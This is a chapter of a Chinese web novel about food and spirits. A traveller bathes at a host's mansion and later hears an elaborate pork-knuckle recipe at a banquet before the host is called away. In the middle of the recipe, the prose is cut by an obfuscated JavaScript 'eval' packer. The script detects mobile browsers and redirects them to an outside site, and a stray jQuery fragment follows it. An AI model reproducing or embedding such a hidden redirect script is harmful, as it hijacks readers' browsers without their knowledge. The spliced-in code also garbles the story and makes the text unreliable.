44. 天穿篇:花瓣澡
作品:《岁时食肆[美食]》 守仓君深知在陇右荒漠长途旅行后的人需要什么,于是待司历大人与妻女寒暄过后,便将二人送至了两间相邻的客房。
他表示府上准备了接风宴,请司历大人和贺兰公子稍作休整,届时会亲自来请。
守仓君的这份贴心,十分精准。在陇右那能把人风干成腊肉的荒漠里跋涉了多日后,姜糖对“热水澡”这三个字的渴望,已经超越了世间一切美味珍馐。
当她被几位侍女引至一间氤氲着暖香的沐室时,看着那摆在房间正中的、足够让她在里面游个来回的硕大柏木澡盆,以及水面漂浮着的层层叠叠、颜色各异的玫瑰与茉莉花瓣时,她开始思考如何回报守仓君。
“大人,请让奴婢们伺候您沐浴。”为首的侍女上前准备为姜糖更衣。
姜糖一个激灵,残存的羞耻心让她坚守住了最后防线,把头摇得像拨浪鼓:“不不不,我自己来,自己来就好!”
侍女们闻言,退至一旁。她们体贴地放下了层层纱幔,只在远处安静侍立。
姜糖迅速把自己剥干净,滑入热水中时,满足地喟叹一声,感觉每一个被风沙磋磨过的毛孔都张开了,呼吸着这湿润的芬芳。
水汽蒸腾,带着花瓣和安神精油的甜暖气息,让疲惫快速退去。姜糖像只慵懒的猫,瘫在宽大的澡盆里,放任四肢百骸漂在水中。
不知泡了多久,就在她昏昏欲睡,脑袋一点一点,差点表演一个“滑入水底当场溺毙”的绝活时,一双手及时而轻柔地托住了她的后颈。
姜糖惊得瞬间清醒,是那位为首的侍女,她只是抿唇莞尔,示意姜糖放松,然后手指便覆在了姜糖的眉眼间按压。
“大人莫怕。”
哦豁。
姜糖心里哀嚎一声,这手法,这力度,简直是为她这颗要散架的头颅量身定做的。
紧接着,那双手又移到了她的肩膀肌肉。酸胀与舒爽交织的感觉让她差点哼出声来,所有“自己来”的骨气在这一刻烟消云散。
姜糖像一摊烂泥般任由摆布,意识逐渐模糊。最后的感觉是被侍女从微凉的水中捞起,用柔软干燥的布巾包裹住,替她擦干头发,然后被安置在了一张蓬松馨香的床铺上。姜糖底陷入黑甜乡。
不知睡了多久,姜糖忽然被敲击门板的声音惊醒。
“是我。”外面传来贺兰澜的声音。
姜糖爬起来换上衣裙,连有什么事都不问,便开门让贺兰澜进来。
贺兰澜很是无语,他真不知道这位仙女儿究竟是哪里来的,说她不讲究,却食不厌精,脍不厌细;说她讲究,但在细节小事上又极为随意。
但金府虽然是精怪宅邸,一样人多眼杂。贺兰澜不欲给姜糖增添是非,为了避嫌便只站在门口,斜倚着门框一边说话,一边看姜糖整理头发。
“守仓君为什么要在路上专门给我们讲那个故事呢?”贺兰澜为了避免姜糖太过放松警惕性不足,于是挑起这个话题,诱导性地发问。
姜糖手一顿:“我们不是达成共识啦?守仓君没说实话。被灵猫族敲竹杠的,大概就是他自己吧,那些细节他实在是讲述得太过于清楚了。”
“人家不好意思直说,却又要讲故事提醒,大概率是此事最终与灵猫族达成的局面不算恶劣,但又会在一定程度上影响到他女儿的婚事。但是嘛,我毕竟收了人家宝贝裙子,这点风险还是要勇于承担的。”
“你现在退出还来得及噢。”姜糖反过来调侃贺兰澜,并收获对方一个白眼。
原来贺兰澜见姜糖分析得有条不紊,发现她不犯懒的时候也不是那么的像蛮力莽夫,正稍放下心来,且又懒得回应她的调侃,干脆白了她一眼。
是的,贺兰澜对姜糖的用户画像只有懒。虽然仙女身份神秘,有法力护身不假,但他也确实看穿了姜糖那除非被迫营业否则随时随地只想躺平的心思。
“但是我没想明白,这和他女儿的婚事究竟有什么关系?”既然开始动脑,姜糖便托腮思索,逐渐想得更远了。贺兰澜见她的头发簪得惨不忍睹,就摇摇头转身去找侍女回来帮忙。
……
是夜,金府华灯初上,宴设于临水花厅。
凉州地处陇右,这座唐朝的西北边城如今恰逢冬春之交,时值雨水节气前后。
窗外那一池春水,在春寒料峭中泛着细密而冰冷的涟漪。花厅的轩窗支起了数扇,好让宴饮的宾客能领略这雨丝微润的早春意境。
厅内为驱散湿寒,摆放着数座铜兽炭盆,盆中银骨炭烧得正旺,屋顶错落有致地悬挂了数十盏造型各异的琉璃灯、明角灯。
烛火稳定地燃烧,透过琉璃与磨制得极薄的兽角,流淌出金橙色光辉,将整个厅堂映照得暖意盎然,更在四壁与梁柱间投下富丽堂皇的光影。
于边城的寒夜中,这一方温暖如春的天地淋漓尽致地彰显着主人家的不凡财力。
宴席的菜品更是极尽巧思。守仓君正在为姜糖介绍一道名为“虾煨”的菜。
“姜司历,贺兰公子,一路辛苦,请尝尝这道‘虾煨’。此物看似不过是只猪前肘,粗鄙不堪,实则内里乾坤,颇费了些功夫。”
“何谓‘虾煨’?”姜糖立即虚心请教。她一直以为自己在李渔先生的教导下也算是“博览群吃”了,这又竟是自己没听过的菜肴,大抵是守仓君府上较为珍贵的独家菜谱,一定要仔细听讲,回去分享给李渔先生。
守仓君抚须一笑回答道:“此菜精髓不在猪前肘,不在‘虾’,也不在于‘煨’,而在于一个‘酱’字。‘煨’说的是制作这核心酱料时,火候须拿捏得恰到好处,多一分则焦苦,少一分则寡淡,烹制之人需在灶前往复,不敢片刻离神。这酱,乃是以新丰虾醢与河州麸鼓为基础,取吴兴黄酒、安息胡芹、蜀地花椒、西域浑提葱等十数种配料,共同研磨成浆,置于陶瓮中,以宣州蜜蜡封口,于地窖内陈化三年,方成初胚。”
“这还只是酱底。待要用时,取陈化好的酱胚一合,需用贡橘榨取的浆汁而非清水来稀释,再加入研碎的冰糖与酥油,以文火慢熬两个时辰,直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773615|186137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至酱汁浓稠如琥珀,光泽内蕴,异香扑鼻,这酱才算大功告成。”
姜糖已经露出了“果然如此”的神情,既然守仓君大方分享,那么这道“虾煨”菜谱便是她回去后孝敬李渔先生的特产礼物了。
“至于这猪前肘,则须用好酒细细揉搓去其腥气。而后,不入水煮,而是置于特制的蒸笼之中,下层用老参、枸杞、红枣等物隔水蒸出的药露之气,熏蒸三个时辰,令其筋骨松软,吸纳百草精华,自身油腻尽去,通体如玉般晶莹,可称‘玉蹄’。”
“最后一步,方是合二为一。将这蒸透的玉蹄,浸入温热的酱中,不使沸腾,如此专人‘煨’上整整一日。待时辰到了,取出装盘,这蹄膀看似形态完整,实则内里早已酥烂融溶,骨肉分离。皮肉入口,肥而不腻,瘦而不柴,酱香、果香、药香、肉香次第绽放。”
守仓君说完,立即有人上前为姜糖布菜。
守仓君微笑道:“司历大人,贺兰公子,请用。此物虽费周章,不过博诸位一笑,解旅途之乏罢了。”
姜糖看着眼前这盘散发着香气、看似朴实无华的蹄膀,感觉自己过去几十年吃的猪蹄都没那么香了。她深刻地领悟到一个道理:在真正的豪门面前,自己那点阅历,确实还不如人家这一盘酱料的年纪大。回去后还是要老老实实继续学习。
姜糖等自是宾主尽欢,金灵儿更是活泼健谈,与姜糖从长安风物聊到西域奇闻,再到精怪趣事,竟是越聊越投机,席间笑语盈盈,气氛热烈。
守仓君金须赛看着女儿与司历大人相处融洽,那张平日里总是带着恭敬谨慎的脸上,也难得露出了舒心而欣慰的笑容,频频举杯劝饮。
然而,宴会进行到一半,正当那道“虾煨”被细细品味、众人赞不绝口之时,一名身着绸衫的体面大管家却步履匆匆地进来,也顾不得失礼,径直走到金须赛身边,俯身在他耳边急速低语了几句。
守仓君闻言,脸上那舒心的笑容瞬间凝固,随即眉头紧紧锁起,面色以肉眼可见的速度沉了下来。
他猛地站起身,甚至带得身后的座椅都发出了轻微的摩擦声,显然听到了一个极其糟糕且紧急的消息。
他连忙转向姜糖和贺兰澜,深深一揖,几乎将身体折成了直角,语气充满了前所未有的焦虑与歉意:
“司历大人,贺兰公子,万分抱歉!府中……府中有些关于婚礼宴席的紧急琐事,出了点……不小的岔子,急需小神亲自前去处理。竟在此时扫了二位雅兴,小神……小神实在是罪该万死,无地自容!”
姜糖正与金灵儿聊到一种香料的妙用,闻言便和善地笑了笑,语气轻松地安抚道:“金大人快去忙正事要紧,婚礼是头等大事,万万耽搁不得。不必顾及我们,我与灵儿姐正聊得开心,您不在,我们年轻人说说笑笑反而更自在些呢。”
守仓君见姜糖确实毫无怪罪之意,神色稍缓,但眼中的焦灼并未散去,他又再三告罪,甚至对着姜糖的方向近乎叩首般行了一礼,这才脚步匆忙地跟着那管家快步离去。

